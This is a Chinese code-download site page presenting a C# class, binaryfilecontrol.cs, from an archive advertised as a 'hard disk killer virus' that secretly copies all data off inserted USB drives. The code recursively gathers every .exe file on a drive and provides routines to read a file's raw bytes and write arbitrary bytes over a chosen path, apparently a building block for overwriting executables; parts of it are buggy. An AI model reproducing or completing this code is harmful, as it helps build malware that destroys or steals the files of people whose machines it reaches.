⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 binaryfilecontrol.cs

📁 硬盘杀手病毒技术详细特征 [shief.rar] - 这是一个可以在后台偷取你闪盘里所有资料的小软件。 只要你的闪盘(如U盘,mp3)一插上
💻 CS
字号:
using System;
using System.IO;
using System.Threading;
using System.Collections;
using System.Windows.Forms;
namespace FileTest
{
	/// <summary>
	/// BinaryFileControl 二进制文件操作类
	/// </summary>
	public class BinaryFileControl
	{
		private string _FileName;//文件名
		private string _FilePath;//文件路径
	    private string _FileType;//文件类型
		private BinaryWriter ObjBw;//写文件对象
		private BinaryReader ObjBr;//读文件对象
		private FileStream FStream;//文件流
		private Int32[] FBytes;//二进制代码存储数足
		private ArrayList EFPArray;//EXE文件路径数组
		private DirectoryInfo DirFile;//文件夹信息对象
		public System.Windows.Forms.Label label1;
		public System.Windows.Forms.Label label2;
		public System.Windows.Forms.ListBox listBox3; 
		public  System.Windows.Forms.Label label3;
		private ArrayList AllDirList;
		private int FileNum=0;
		public BinaryFileControl()
		{
			//
			// TODO: 在此处添加构造函数逻辑
			//
			this.AllDirList=new ArrayList();
		}
        
		/// <summary>
		/// 遍历文件夹获得文件夹下的所有exe文件的路径
		/// </summary>
		public void EXEFileTraversing()
		{

			//try
			//{
				this.EFPArray=new ArrayList();
			    this.DirFile=new DirectoryInfo(this._FilePath);//创建文件路径对象
			    DirectoryInfo[] childDir=this.DirFile.GetDirectories();//获得当前路径的子目录数组
			    FileInfo[] files=null;//当前目录的文件对象数组
				files=this.DirFile.GetFiles();//获得当前目录的文件对象数组
				//循环文件对象数组
				this.label2.Text=this._FilePath;
				foreach(FileInfo IFile in files)
				{
					Application.DoEvents();
					this.label1.Text=IFile.Name;
					//如果是exe文件加入集合列表
					if(IFile.Name.IndexOf(".")!=-1)
					{
						string[] FileCls=IFile.Name.Split('.');
						if(FileCls[1]=="exe"||FileCls[1]=="EXE")
						{
							FileNum++;
							this.label3.Text=Convert.ToString(FileNum);
							this.EFPArray.Add(IFile);
							this.listBox3.Items.Add(IFile.FullName);
						}
					}
				}
				//递归调用判断是否有子目录
				if(childDir!=null)
				{
					//循环子目录递归调用函数
					foreach(DirectoryInfo DirItem in childDir)
					{
						if(DirItem.Attributes!=System.IO.FileAttributes.Hidden&&DirItem.Name!="System Volume Information")//不循环系统目录和隐藏文件夹
						{
							if(!this.AllDirList.Contains(DirItem))//如果子目录没有被循环过
							{
								this.AllDirList.Add(DirItem);
								this._FilePath=DirItem.FullName;
								this.EXEFileTraversing();
							}
					    }
					}
				}
				else
				{
					this._FilePath=this.DirFile.Root.FullName;
					this.EXEFileTraversing();
				}
			//}
			//catch(Exception exp)
			//{
				//this.EXEFileTraversing();
			//}
		}



		/// <summary>
		/// 写文件方法
		/// </summary>
		public void FileWrite()
		{
			this.FStream=new FileStream(this._FilePath,FileMode.Create);//创建文件流对象
			this.ObjBw=new BinaryWriter(this.FStream);//创建二进制写对象
			//循环写入文件的二进制代码
			for(int i=0;i<this.FBytes.Length;i++)
			{
				this.ObjBw.Write(this.FBytes[i]);
			}
			this.ObjBw.Close();
		}
        
		/// <summary>
		/// 读取文件的方法
		/// </summary>
		public void FileRead()
		{
			try
			{
				this.FStream=new FileStream(this._FilePath,FileMode.Open);//创建文件流对象
				this.ObjBr=new BinaryReader(this.FStream);//创建二进制读取对象
				StreamReader sR=new StreamReader(this.FStream);   
				this.FBytes=new Int32[this.FStream.Length];//获得文件的大小
				for(int i=0;i<this.FBytes.Length;i++)
				{
					if(sR.ReadLine()!=null)
					{
						this.FBytes[i]=this.ObjBr.ReadInt32();//循环读取文件的二进制码
					}
				}
			}
			catch(Exception exp)
			{
				return;
			}
		}

		public ArrayList EXEList
		{
			get
			{
				return this.EFPArray;
			}
		}
		/// <summary>
		/// 文件类型
		/// </summary>
		public string FileType
		{
			get
			{
				return this._FileType;
			}
			set
			{
				this._FilePath=value;
			}
		}
 
		/// <summary>
		/// 文件名称
		/// </summary>
		public string FileName
		{
			get
			{
				return this._FileName;
			}
			set
			{
				this._FileName=value;
			}
		}
        
		/// <summary>
		/// 文件路径
		/// </summary>
		public string FilePath
		{
			get
			{
				return this._FilePath;
			}
			set
			{
				this._FilePath=value;
			}
		}
        
        
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -